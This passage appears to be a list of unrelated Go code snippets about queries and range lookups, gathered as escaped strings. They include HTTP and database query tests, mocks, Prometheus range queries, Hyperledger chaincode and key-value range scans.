call\n\t//\n\tqueryURL, _ := url.Parse(testServer.URL + \"/query\")\n\tqueryParams := queryURL.Query()\n\tqueryParams.Set(\"namespace\", query.Namespace)\n\tqueryParams.Set(\"pod_name\", query.PodName)\n\tqueryParams.Set(\"container_name\", query.ContainerName)\n\tqueryParams.Set(\"start_time\", \"2018-01-01T12:00:00.000Z\")\n\tqueryParams.Set(\"end_time\", \"2018-01-01T13:00:00.000Z\")\n\tqueryURL.RawQuery = queryParams.Encode()\n\n\tresp, _ := client.Get(queryURL.String())\n\t// should return 200\n\tassert.Equalf(t, http.StatusOK, resp.StatusCode, \"unexpected response code\")\n\tassert.Equalf(t, []string{\"application/json\"}, resp.Header[\"Content-Type\"], \"unexpected Content-Type\")\n\tvar clientResult logstore.QueryResult\n\tjson.Unmarshal([]byte(readBody(t, resp)), &clientResult)\n\tassert.Equalf(t, logStoreResult, clientResult, \"unexpected query response\")\n\n\t// verify that expected calls were made\n\tmockLogStore.AssertExpectations(t)\n}", "func (c *sqlmock) Query(query string, args []driver.Value) (driver.Rows, error) {\n\tnamedArgs := make([]driver.NamedValue, len(args))\n\tfor i, v := range args {\n\t\tnamedArgs[i] = driver.NamedValue{\n\t\t\tOrdinal: i + 1,\n\t\t\tValue: v,\n\t\t}\n\t}\n\n\tex, err := c.query(query, namedArgs)\n\tif ex != nil {\n\t\ttime.Sleep(ex.delay)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ex.rows, nil\n}", "func testQuery(t *testing.T, q *Query, models []*indexedTestModel) {\n\texpected := expectedResultsForQuery(q.query, models)\n\ttestQueryRun(t, q, expected)\n\ttestQueryIDs(t, q, expected)\n\ttestQueryCount(t, q, expected)\n\ttestQueryStoreIDs(t, q, expected)\n\tcheckForLeakedTmpKeys(t, q.query)\n}", "func TestQuery(t *testing.T) {\n\tdefer gock.Off()\n\tclient := testClient()\n\n\tgock.New(testURL).Get(\"/url\").MatchParam(\"foo\", \"bar\").Reply(200)\n\t_, err := client.Get(\"/url\", Query(\"foo\", \"bar\"))\n\tassert.NoError(t, err)\n\n\t// Test case for comma-separated parameters\n\tgock.New(testURL).Get(\"/url\").MatchParam(\"foo\", \"bar,baz\").Reply(200)\n\t_, err = client.Get(\"/url\", Query(\"foo\", \"bar,baz\"))\n\tassert.NoError(t, err)\n}", "func TestParsing09(t *testing.T) {\n\tvar q = \"%%RANGE\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err != nil {\n\t\tt.Errorf(\"Expected NO Error, (Query: %s) should BE parsed [Top Level Lookup, %, %% etc]\", q)\n\t}\n\n\tr.Execute()\n\tresult, errs := r.Evaluate(store)\n\tvar expected = []string{\"ops-prod\", \"data-prod\", \"data-qa\"}\n\tif len(errs) != 0 || !compare(*result, expected) {\n\t\tt.Errorf(\"Expected NO Evaluate Error, (Query: %s) should BE %s [Got: %s]\", q, expected, *result)\n\t}\n}", "func Test_DomRange(t *testing.T) {\n\tsetup()\n\tdefer teardown()\n\tlog(\"DomRange and AddRange\")\n\n\t//1..10 in 1..10+5\n\tdomRange_test(t, []int{1, 10}, []int{1, 10}, 5, []int{6, 10})\n\t//1..10 in 1..10+0\n\tdomRange_test(t, []int{1, 10}, []int{1, 10}, 0, []int{1, 10})\n\t//1..10 in 1..10-5\n\tdomRange_test(t, []int{1, 10}, []int{1, 10}, -5, []int{1, 5})\n\t//1..10 in 20..30+2\n\tdomRange_test(t, []int{1, 10}, []int{20, 30}, 2, []int{})\n}", "func TestQuery(t *testing.T) {\n\n\tresults, err := FindAll(Published())\n\tif err != nil {\n\t\tt.Fatalf(\"pages: error getting pages :%s\", err)\n\t}\n\tif len(results) == 0 {\n\t\tt.Fatalf(\"pages: published pages not found :%s\", err)\n\t}\n\n\tresults, err = FindAll(Query().Where(\"id>=? AND id <=?\", 0, 100))\n\tif err != nil || len(results) == 0 {\n\t\tt.Fatalf(\"pages: no page found :%s\", err)\n\t}\n\tif len(results) > 1 {\n\t\tt.Fatalf(\"pages: more than one page found for where :%s\", err)\n\t}\n\n}", "func (m *MockgqlClient) QueryWithGitHubAppsSupport(ctx context.Context, q interface{}, vars map[string]interface{}, org string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryWithGitHubAppsSupport\", ctx, q, vars, org)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func QueryRangeChunked(ctx context.Context, promConn prom.API, query string, startTime, endTime time.Time, chunkSize, stepSize time.Duration, maxTimeRanges int64, allowIncompleteChunks bool, handlers ResultHandler) (timeRanges []prom.Range, err error) {\n\ttimeRangesToProcess := getTimeRanges(startTime, endTime, chunkSize, stepSize, maxTimeRanges, allowIncompleteChunks)\n\n\tif handlers.PreProcessingHandler != nil {\n\t\terr = handlers.PreProcessingHandler(ctx, timeRangesToProcess)\n\t\tif err != nil {\n\t\t\treturn timeRanges, err\n\t\t}\n\t}\n\n\tif len(timeRangesToProcess) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tfor _, timeRange := range timeRangesToProcess {\n\t\t// check for cancellation\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn timeRanges, ctx.Err()\n\t\tdefault:\n\t\t\t// continue processing if context isn't cancelled.\n\t\t}\n\n\t\tif handlers.PreQueryHandler != nil {\n\t\t\terr = handlers.PreQueryHandler(ctx, timeRange)\n\t\t\tif err != nil {\n\t\t\t\treturn timeRanges, err\n\t\t\t}\n\t\t}\n\n\t\tpVal, err := promConn.QueryRange(ctx, query, timeRange)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to perform Prometheus query: %v\", err)\n\t\t}\n\n\t\tmatrix, ok := pVal.(model.Matrix)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"expected a matrix in response to query, got a %v\", pVal.Type())\n\t\t}\n\n\t\t// check for cancellation\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn timeRanges, ctx.Err()\n\t\tdefault:\n\t\t\t// continue processing if context isn't cancelled.\n\t\t}\n\n\t\tif handlers.PostQueryHandler != nil {\n\t\t\terr = handlers.PostQueryHandler(ctx, timeRange, matrix)\n\t\t\tif err != nil {\n\t\t\t\treturn timeRanges, err\n\t\t\t}\n\t\t}\n\t\ttimeRanges = append(timeRanges, timeRange)\n\t}\n\n\tif handlers.PostProcessingHandler != nil {\n\t\terr = handlers.PostProcessingHandler(ctx, timeRanges)\n\t\tif err != nil {\n\t\t\treturn timeRanges, err\n\t\t}\n\t}\n\treturn timeRanges, nil\n}", "func (m *MockOrderDao) QueryList(page, size int) ([]*model.DemoOrder, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryList\", page, size)\n\tret0, _ := ret[0].([]*model.DemoOrder)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (s *TestSuite) TestGetRange(c *C) {\n\troot, e := ioutil.TempDir(os.TempDir(), \"fs-\")\n\tc.Assert(e, IsNil)\n\tdefer os.RemoveAll(root)\n\n\tobjectPath := filepath.Join(root, \"object\")\n\tfsClient, err := fsNew(objectPath)\n\tc.Assert(err, IsNil)\n\n\tdata := \"hello world\"\n\tvar reader io.Reader\n\treader = bytes.NewReader([]byte(data))\n\tn, err := fsClient.Put(context.Background(), reader, int64(len(data)), map[string]string{\n\t\t\"Content-Type\": \"application/octet-stream\",\n\t}, nil, nil)\n\tc.Assert(err, IsNil)\n\tc.Assert(n, Equals, int64(len(data)))\n\n\treader, err = fsClient.Get(nil)\n\tc.Assert(err, IsNil)\n\tvar results bytes.Buffer\n\tbuf := make([]byte, 5)\n\tm, e := reader.(io.ReaderAt).ReadAt(buf, 0)\n\tc.Assert(e, IsNil)\n\tc.Assert(m, Equals, 5)\n\t_, e = results.Write(buf)\n\tc.Assert(e, IsNil)\n\tc.Assert([]byte(\"hello\"), DeepEquals, results.Bytes())\n}", "func TestPartitionReader__Range(t *testing.T) {\n\tengine, _ := open(nil)\n\tpart, _ := initPartition(\"test.partition\", engine)\n\n\tb := make([]byte, 100)\n\n\t// Emulate different time points.\n\tpart.Write(1, b)\n\tpart.Write(3, b)\n\tpart.Write(5, b)\n\n\tvar (\n\t\tn int\n\t\terr error\n\t\tr *partitionReader\n\t)\n\n\tbuf := make([]byte, 1000)\n\n\t// Upper bound\n\tr = part.Reader(0, 2)\n\n\tassert.Equal(t, r.index, 0)\n\tassert.Equal(t, r.stop, 1)\n\n\tn, err = r.Read(buf)\n\n\tassert.Equal(t, 100, n)\n\tassert.Equal(t, io.EOF, err)\n\n\t// Lower bound\n\tr = part.Reader(2, 0)\n\n\tassert.Equal(t, r.index, 1)\n\tassert.Equal(t, r.stop, 3)\n\n\tn, err = r.Read(buf)\n\n\tassert.Equal(t, 200, n)\n\tassert.Equal(t, io.EOF, err)\n\n\t// Slice\n\tr = part.Reader(2, 4)\n\n\tassert.Equal(t, r.index, 1)\n\tassert.Equal(t, r.stop, 2)\n\n\tn, err = r.Read(buf)\n\n\tassert.Equal(t, 100, n)\n\tassert.Equal(t, io.EOF, err)\n\n\t// Out of range\n\tr = part.Reader(6, 0)\n\n\tn, err = r.Read(buf)\n\n\tassert.Equal(t, 0, n)\n\tassert.Equal(t, io.EOF, err)\n}", "func getListingsByRange(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 2 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 2\")\n\t}\n\n\tstartKey := args[0]\n\tendKey := args[1]\n\n\tresultsIterator, err := stub.GetStateByRange(startKey, endKey)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\t// buffer is a JSON array containing QueryResults\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"[\")\n\n\tbArrayMemberAlreadyWritten := false\n\tfor resultsIterator.HasNext() {\n\t\taKeyValue, err := resultsIterator.Next()\n\t\tif err != nil {\n\t\t\treturn shim.Error(err.Error())\n\t\t}\n\t\tqueryResultKey := aKeyValue.Key\n\t\tqueryResultValue := aKeyValue.Value\n\n\t\t// Add a comma before array members, suppress it for the first array member\n\t\tif bArrayMemberAlreadyWritten == true {\n\t\t\tbuffer.WriteString(\",\")\n\t\t}\n\t\tbuffer.WriteString(\"{\\\"Key\\\":\")\n\t\tbuffer.WriteString(\"\\\"\")\n\t\tbuffer.WriteString(queryResultKey)\n\t\tbuffer.WriteString(\"\\\"\")\n\n\t\tbuffer.WriteString(\", \\\"Record\\\":\")\n\t\t// Record is a JSON object, so we write as-is\n\t\tbuffer.WriteString(string(queryResultValue))\n\t\tbuffer.WriteString(\"}\")\n\t\tbArrayMemberAlreadyWritten = true\n\t}\n\tbuffer.WriteString(\"]\")\n\n\tfmt.Printf(\"- getListingByRange queryResult:\\n%s\\n\", buffer.String())\n\n\treturn shim.Success(buffer.Bytes())\n}", "func TestMapRange(t *testing.T) {\n\tbx := NewTestDB()\n\tdefer bx.Close()\n\n\tyears, err := bx.New([]byte(\"years\"))\n\tif err != nil {\n\t\tt.Error(err.Error())\n\t}\n\n\t// Setup items to insert in `years` bucket\n\titems := []struct {\n\t\tKey, Value []byte\n\t}{\n\t\t{[]byte(\"1970\"), []byte(\"70\")},\n\t\t{[]byte(\"1975\"), []byte(\"75\")},\n\t\t{[]byte(\"1980\"), []byte(\"80\")},\n\t\t{[]byte(\"1985\"), []byte(\"85\")},\n\t\t{[]byte(\"1990\"), []byte(\"90\")}, // min = 1990\n\t\t{[]byte(\"1995\"), []byte(\"95\")}, // min < 1995 < max\n\t\t{[]byte(\"2000\"), []byte(\"00\")}, // max = 2000\n\t\t{[]byte(\"2005\"), []byte(\"05\")},\n\t\t{[]byte(\"2010\"), []byte(\"10\")},\n\t}\n\n\t// Insert 'em.\n\tif err := years.Insert(items); err != nil {\n\t\tt.Error(err.Error())\n\t}\n\n\t// Time range to map over.\n\tmin := []byte(\"1990\")\n\tmax := []byte(\"2000\")\n\n\t// Expected items within time range: 1990 <= key <= 2000.\n\texpected := []struct {\n\t\tKey, Value []byte\n\t}{\n\t\t{[]byte(\"1990\"), []byte(\"90\")}, // min = 1990\n\t\t{[]byte(\"1995\"), []byte(\"95\")}, // min < 1995 < max\n\t\t{[]byte(\"2000\"), []byte(\"00\")}, // max = 2000\n\t}\n\n\t// Setup slice of items to collect results.\n\ttype item struct {\n\t\tKey, Value []byte\n\t}\n\tresults := []item{}\n\n\t// Anon func to map over matched keys.\n\tdo := func(k, v []byte) error {\n\t\tresults = append(results, item{k, v})\n\t\treturn nil\n\t}\n\n\tif err := years.MapRange(do, min, max); err != nil {\n\t\tt.Error(err.Error())\n\t}\n\n\tfor i, want := range expected {\n\t\tgot := results[i]\n\t\tif !bytes.Equal(got.Key, want.Key) {\n\t\t\tt.Errorf(\"got %v, want %v\", got.Key, want.Key)\n\t\t}\n\t\tif !bytes.Equal(got.Value, want.Value) {\n\t\t\tt.Errorf(\"got %v, want %v\", got.Value, want.Value)\n\t\t}\n\t}\n}", "func (x *fastReflection_QueryParamsResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Params != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Params.ProtoReflect())\n\t\tif !f(fd_QueryParamsResponse_params, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (m *MockAuthorizeResponder) GetQuery() url.Values {\n\tret := m.ctrl.Call(m, \"GetQuery\")\n\tret0, _ := ret[0].(url.Values)\n\treturn ret0\n}", "func Test_query(t *testing.T) {\n\tclient := &FakeClient{}\n\tds := &PhlareDatasource{\n\t\tclient: client,\n\t}\n\n\tpCtx := backend.PluginContext{\n\t\tDataSourceInstanceSettings: &backend.DataSourceInstanceSettings{\n\t\t\tJSONData: []byte(`{\"minStep\":\"30s\"}`),\n\t\t},\n\t}\n\n\tt.Run(\"query both\", func(t *testing.T) {\n\t\tdataQuery := makeDataQuery()\n\t\tresp := ds.query(context.Background(), pCtx, *dataQuery)\n\t\trequire.Nil(t, resp.Error)\n\t\trequire.Equal(t, 2, len(resp.Frames))\n\n\t\t// The order of the frames is not guaranteed, so we normalize it\n\t\tif resp.Frames[0].Fields[0].Name == \"level\" {\n\t\t\tresp.Frames[1], resp.Frames[0] = resp.Frames[0], resp.Frames[1]\n\t\t}\n\n\t\trequire.Equal(t, \"time\", resp.Frames[0].Fields[0].Name)\n\t\trequire.Equal(t, data.NewField(\"level\", nil, []int64{0, 1, 2}), resp.Frames[1].Fields[0])\n\t})\n\n\tt.Run(\"query profile\", func(t *testing.T) {\n\t\tdataQuery := makeDataQuery()\n\t\tdataQuery.QueryType = queryTypeProfile\n\t\tresp := ds.query(context.Background(), pCtx, *dataQuery)\n\t\trequire.Nil(t, resp.Error)\n\t\trequire.Equal(t, 1, len(resp.Frames))\n\t\trequire.Equal(t, data.NewField(\"level\", nil, []int64{0, 1, 2}), resp.Frames[0].Fields[0])\n\t})\n\n\tt.Run(\"query metrics\", func(t *testing.T) {\n\t\tdataQuery := makeDataQuery()\n\t\tdataQuery.QueryType = queryTypeMetrics\n\t\tresp := ds.query(context.Background(), pCtx, *dataQuery)\n\t\trequire.Nil(t, resp.Error)\n\t\trequire.Equal(t, 1, len(resp.Frames))\n\t\trequire.Equal(t, \"time\", resp.Frames[0].Fields[0].Name)\n\t})\n\n\tt.Run(\"query metrics uses min step\", func(t *testing.T) {\n\t\tdataQuery := makeDataQuery()\n\t\tdataQuery.QueryType = queryTypeMetrics\n\t\tresp := ds.query(context.Background(), pCtx, *dataQuery)\n\t\trequire.Nil(t, resp.Error)\n\t\tstep, ok := client.Args[5].(float64)\n\t\trequire.True(t, ok)\n\t\trequire.Equal(t, float64(30), step)\n\t})\n\n\tt.Run(\"query metrics uses default min step\", func(t *testing.T) {\n\t\tdataQuery := makeDataQuery()\n\t\tdataQuery.QueryType = queryTypeMetrics\n\t\tpCtxNoMinStep := backend.PluginContext{\n\t\t\tDataSourceInstanceSettings: &backend.DataSourceInstanceSettings{\n\t\t\t\tJSONData: []byte(`{}`),\n\t\t\t},\n\t\t}\n\t\tresp := ds.query(context.Background(), pCtxNoMinStep, *dataQuery)\n\t\trequire.Nil(t, resp.Error)\n\t\tstep, ok := client.Args[5].(float64)\n\t\trequire.True(t, ok)\n\t\trequire.Equal(t, float64(15), step)\n\t})\n\n\tt.Run(\"query metrics uses group by\", func(t *testing.T) {\n\t\tdataQuery := makeDataQuery()\n\t\tdataQuery.QueryType = queryTypeMetrics\n\t\tdataQuery.JSON = []byte(`{\"profileTypeId\":\"memory:alloc_objects:count:space:bytes\",\"labelSelector\":\"{app=\\\\\\\"baz\\\\\\\"}\",\"groupBy\":[\"app\",\"instance\"]}`)\n\t\tresp := ds.query(context.Background(), pCtx, *dataQuery)\n\t\trequire.Nil(t, resp.Error)\n\t\tgroupBy, ok := client.Args[4].([]string)\n\t\trequire.True(t, ok)\n\t\trequire.Equal(t, []string{\"app\", \"instance\"}, groupBy)\n\t})\n}", "func (ng *Engine) NewRangeQuery(qs string, start, end model.Time, interval time.Duration) (Query, error) {\n\texpr, err := ParseExpr(qs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif expr.Type() != model.ValVector && expr.Type() != model.ValScalar {\n\t\treturn nil, fmt.Errorf(\"invalid expression type %q for range query, must be scalar or instant vector\", documentedType(expr.Type()))\n\t}\n\tqry := ng.newQuery(expr, start, end, interval)\n\tqry.q = qs\n\n\treturn qry, nil\n}", "func getMarblesByRange(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 2 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 2\")\n\t}\n\n\tstartKey := args[0]\n\tendKey := args[1]\n\n\tresultsIterator, err := stub.GetStateByRange(startKey, endKey)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\t// buffer is a JSON array containing QueryResults\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"[\")\n\n\tbArrayMemberAlreadyWritten := false\n\tfor resultsIterator.HasNext() {\n\t\taKeyValue, err := resultsIterator.Next()\n\t\tif err != nil {\n\t\t\treturn shim.Error(err.Error())\n\t\t}\n\t\tqueryResultKey := aKeyValue.Key\n\t\tqueryResultValue := aKeyValue.Value\n\n\t\t// Add a comma before array members, suppress it for the first array member\n\t\tif bArrayMemberAlreadyWritten == true {\n\t\t\tbuffer.WriteString(\",\")\n\t\t}\n\t\tbuffer.WriteString(\"{\\\"Key\\\":\")\n\t\tbuffer.WriteString(\"\\\"\")\n\t\tbuffer.WriteString(queryResultKey)\n\t\tbuffer.WriteString(\"\\\"\")\n\n\t\tbuffer.WriteString(\", \\\"Record\\\":\")\n\t\t// Record is a JSON object, so we write as-is\n\t\tbuffer.WriteString(string(queryResultValue))\n\t\tbuffer.WriteString(\"}\")\n\t\tbArrayMemberAlreadyWritten = true\n\t}\n\tbuffer.WriteString(\"]\")\n\n\tfmt.Printf(\"- getMarblesByRange queryResult:\\n%s\\n\", buffer.String())\n\n\treturn shim.Success(buffer.Bytes())\n}", "func (m *MockClient) QueryWithGitHubAppsSupport(ctx context.Context, q interface{}, vars map[string]interface{}, org string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryWithGitHubAppsSupport\", ctx, q, vars, org)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func AttemptRangeQuery(quest string, low, high uint32) *GraphQuery {\n\treturn &GraphQuery{\n\t\tAttemptRange: []*GraphQuery_AttemptRange{{Quest: quest, Low: low, High: high}}}\n}", "func QuerySetTimeRange(\n\tquery *influxql.Query, min, max time.Time) (*influxql.Query, error) {\n\treturn querySetTimeRange(query, min, max)\n}", "func (b *RangeQuery) Run(ctx context.Context) *Result {\n\tsrc := rand.NewSource(b.Seed)\n\trng := rand.New(src)\n\tresults := NewResult()\n\tif b.client == nil {\n\t\tresults.err = fmt.Errorf(\"No client set for RangeQuery\")\n\t\treturn results\n\t}\n\tqm := NewQueryGenerator(b.Seed)\n\tqm.IDToFrameFn = func(id uint64) string { return b.Frame }\n\tqm.Frames = []string{b.Frame}\n\n\tvar start time.Time\n\tfor n := 0; n < b.Iterations; n++ {\n\t\tvar field int\n\t\tif len(b.Fields) > 1 {\n\t\t\tfield = rng.Intn(len(b.Fields) - 1)\n\t\t} else {\n\t\t\tfield = 0\n\t\t}\n\t\tcall := qm.RandomRangeQuery(b.MaxDepth, b.MaxArgs, b.Frame, b.Fields[field], uint64(b.MinRange), uint64(b.MaxRange))\n\n\t\tstart = time.Now()\n\t\t_, err := b.ExecuteQuery(ctx, b.Index, call.String())\n\t\tresults.Add(time.Since(start), nil)\n\t\tif err != nil {\n\t\t\tresults.err = fmt.Errorf(\"Executing '%s', err: %v\", call.String(), err)\n\t\t\treturn results\n\t\t}\n\t}\n\treturn results\n}", "func (b *Backend) GetRange(ctx context.Context, startKey []byte, endKey []byte, limit int) (*backend.GetResult, error) {\n\tdocSnaps, err := b.getRangeDocs(ctx, startKey, endKey, limit)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tvalues := make([]backend.Item, 0)\n\tfor _, docSnap := range docSnaps {\n\t\tr, err := newRecordFromDoc(docSnap)\n\t\tif err != nil {\n\t\t\treturn nil, trace.Wrap(err)\n\t\t}\n\n\t\tif r.isExpired(b.clock.Now()) {\n\t\t\tif _, err := docSnap.Ref.Delete(ctx, firestore.LastUpdateTime(docSnap.UpdateTime)); err != nil && status.Code(err) == codes.FailedPrecondition {\n\t\t\t\t// If the document has been updated, then attempt one additional get to see if the\n\t\t\t\t// resource was updated and is no longer expired.\n\t\t\t\tdocSnap, err := b.svc.Collection(b.CollectionName).Doc(docSnap.Ref.ID).Get(ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, ConvertGRPCError(err)\n\t\t\t\t}\n\t\t\t\tr, err := newRecordFromDoc(docSnap)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, trace.Wrap(err)\n\t\t\t\t}\n\n\t\t\t\tif !r.isExpired(b.clock.Now()) {\n\t\t\t\t\tvalues = append(values, r.backendItem())\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Do not include this document in result.\n\t\t\tcontinue\n\t\t}\n\n\t\tvalues = append(values, r.backendItem())\n\t}\n\treturn &backend.GetResult{Items: values}, nil\n}", "func (c *MockInfluxClient) Query(q client.Query) (*client.Response, error) {\n\treturn &client.Response{\n\t\tErr: \"\",\n\t\tResults: []client.Result{},\n\t}, nil\n}", "func TestParsing01(t *testing.T) {\n\tvar q = \"-1\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err == nil {\n\t\tt.Errorf(\"Expected Error, (Query: %s) should NOT BE parsed [starts with -]\", q)\n\t}\n}", "func (v viewRequestBuilder) GetMetricRange(fingerprint model.Fingerprint, from, through time.Time) {\n\tops := v.operations[fingerprint]\n\tops = append(ops, &getValuesAlongRangeOp{\n\t\tfrom: from,\n\t\tthrough: through,\n\t})\n\tv.operations[fingerprint] = ops\n}", "func TestRangeLookupWithOpenTransaction(t *testing.T) {\n\tdefer leaktest.AfterTest(t)\n\ts := server.StartTestServer(t)\n\tdefer s.Stop()\n\tdb := createTestClient(t, s.Stopper(), s.ServingAddr())\n\n\t// Create an intent on the meta1 record by writing directly to the\n\t// engine.\n\tkey := keys.MakeKey(keys.Meta1Prefix, roachpb.KeyMax)\n\tnow := s.Clock().Now()\n\ttxn := roachpb.NewTransaction(\"txn\", roachpb.Key(\"foobar\"), 0, roachpb.SERIALIZABLE, now, 0)\n\tif err := engine.MVCCPutProto(s.Ctx.Engines[0], nil, key, now, txn, &roachpb.RangeDescriptor{}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Now, with an intent pending, attempt (asynchronously) to read\n\t// from an arbitrary key. This will cause the distributed sender to\n\t// do a range lookup, which will encounter the intent. We're\n\t// verifying here that the range lookup doesn't fail with a write\n\t// intent error. If it did, it would go into a deadloop attempting\n\t// to push the transaction, which in turn requires another range\n\t// lookup, etc, ad nauseam.\n\tsuccess := make(chan struct{})\n\tgo func() {\n\t\tif _, err := db.Get(\"a\"); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tclose(success)\n\t}()\n\n\tselect {\n\tcase <-success:\n\t\t// Hurrah!\n\tcase <-time.After(5 * time.Second):\n\t\tt.Errorf(\"get request did not succeed in face of range metadata intent\")\n\t}\n}", "func getRange(session *mgo.Session, market string, rawStart string, rawEnd string) ([]bson.M, error) {\n\tdefer session.Close()\n\tdb := session.DB(\"ixm\")\n\n\tstart, err := strconv.ParseInt(rawStart, 10, 64)\n\tif err != nil {\n\t\treturn []bson.M{}, err\n\t}\n\n\tend, err := strconv.ParseInt(rawEnd, 10, 64)\n\tif err != nil {\n\t\treturn []bson.M{}, err\n\t}\n\n\tif end == 0 {\n\t\tend = 9999999999\n\t}\n\n\tdata := []bson.M{}\n\n\t// check if collection name exists\n\tnames, err := db.CollectionNames()\n\tif err != nil {\n\t\treturn []bson.M{}, err\n\t}\n\n\t// if name matches market, create c\n\tfor _, name := range names {\n\t\tif name != \"system.indexes\" {\n\t\t\tif market == name {\n\t\t\t\t// using name from available to sanitize\n\t\t\t\tc := db.C(name)\n\n\t\t\t\t// get all docs where timestamp => start\n\t\t\t\t// no length limit, allow whole db dump\n\t\t\t\tquery := bson.M{\n\t\t\t\t\t\"timestamp\": bson.M{\n\t\t\t\t\t\t\"$gte\": start,\n\t\t\t\t\t\t\"$lte\": end,\n\t\t\t\t\t},\n\t\t\t\t}\n\n\t\t\t\terr = c.Find(query).Iter().All(&data)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn []bson.M{}, err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// ret no err\n\treturn data, nil\n}", "func TestSingleRangeReverseScan(t *testing.T) {\n\tdefer leaktest.AfterTest(t)()\n\ts, _, _ := serverutils.StartServer(t, base.TestServerArgs{})\n\tdefer s.Stopper().Stop()\n\tdb := initReverseScanTestEnv(s, t)\n\n\t// Case 1: Request.EndKey is in the middle of the range.\n\tif rows, err := db.ReverseScan(\"b\", \"d\", 0); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != 2 {\n\t\tt.Errorf(\"expected 2 rows; got %d\", l)\n\t}\n\tif rows, err := db.ReverseScan(\"b\", \"d\", 1); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != 1 {\n\t\tt.Errorf(\"expected 1 rows; got %d\", l)\n\t}\n\n\t// Case 2: Request.EndKey is equal to the EndKey of the range.\n\tif rows, pErr := db.ReverseScan(\"e\", \"g\", 0); pErr != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", pErr)\n\t} else if l := len(rows); l != 2 {\n\t\tt.Errorf(\"expected 2 rows; got %d\", l)\n\t}\n\t// Case 3: Test roachpb.TableDataMin. Expected to return \"g\" and \"h\".\n\twanted := 2\n\tif rows, pErr := db.ReverseScan(\"g\", keys.TableDataMin, 0); pErr != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", pErr)\n\t} else if l := len(rows); l != wanted {\n\t\tt.Errorf(\"expected %d rows; got %d\", wanted, l)\n\t}\n\t// Case 4: Test keys.SystemMax\n\t// This span covers the system DB keys. Note sql.GetInitialSystemValues\n\t// returns one key before keys.SystemMax, but our scan is including one key\n\t// (\\xffa) created for the test.\n\tif rows, pErr := db.ReverseScan(keys.SystemMax, \"b\", 0); pErr != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", pErr)\n\t} else if l := len(rows); l != 1 {\n\t\tt.Errorf(\"expected 1 row; got %d\", l)\n\t}\n}", "func TestSetSearchParams(t *testing.T) {\n\tstartDate, _ := time.Parse(\"2006-01-02\", \"2019-01-02\")\n\tendDate, _ := time.Parse(\"2006-01-02\", \"2019-02-02\")\n\n\ttestList := []SearchParamTest{\n\t\t{\"/anime.php\", searchModel.Query{\n\t\t\tQuery: \"naruto\",\n\t\t\tPage: 2}, \"/anime.php?c%5B%5D=a&c%5B%5D=b&c%5B%5D=c&c%5B%5D=d&c%5B%5D=e&c%5B%5D=f&c%5B%5D=g&gx=0&mid=0&p=0&q=naruto&score=0&show=50&status=0&type=0\",\n\t\t},\n\t\t{\"/manga.php\", searchModel.Query{\n\t\t\tQuery: \"naruto\",\n\t\t\tPage: 2,\n\t\t\tScore: 7}, \"/manga.php?c%5B%5D=a&c%5B%5D=b&c%5B%5D=c&c%5B%5D=d&c%5B%5D=e&c%5B%5D=f&c%5B%5D=g&gx=0&mid=0&p=0&q=naruto&score=7&show=50&status=0&type=0\",\n\t\t},\n\t\t{\"/anime.php\", searchModel.Query{\n\t\t\tQuery: \"naruto\",\n\t\t\tPage: 2,\n\t\t\tStartDate: startDate,\n\t\t\tEndDate: endDate}, \"/anime.php?c%5B%5D=a&c%5B%5D=b&c%5B%5D=c&c%5B%5D=d&c%5B%5D=e&c%5B%5D=f&c%5B%5D=g&ed=2019&em=2&ey=2&gx=0&mid=0&p=0&q=naruto&score=0&sd=2019&show=50&sm=1&status=0&sy=2&type=0\",\n\t\t},\n\t\t{\"/anime.php\", searchModel.Query{\n\t\t\tQuery: \"naruto\",\n\t\t\tGenre: []int{\n\t\t\t\t1,\n\t\t\t\t4,\n\t\t\t\t5,\n\t\t\t}}, 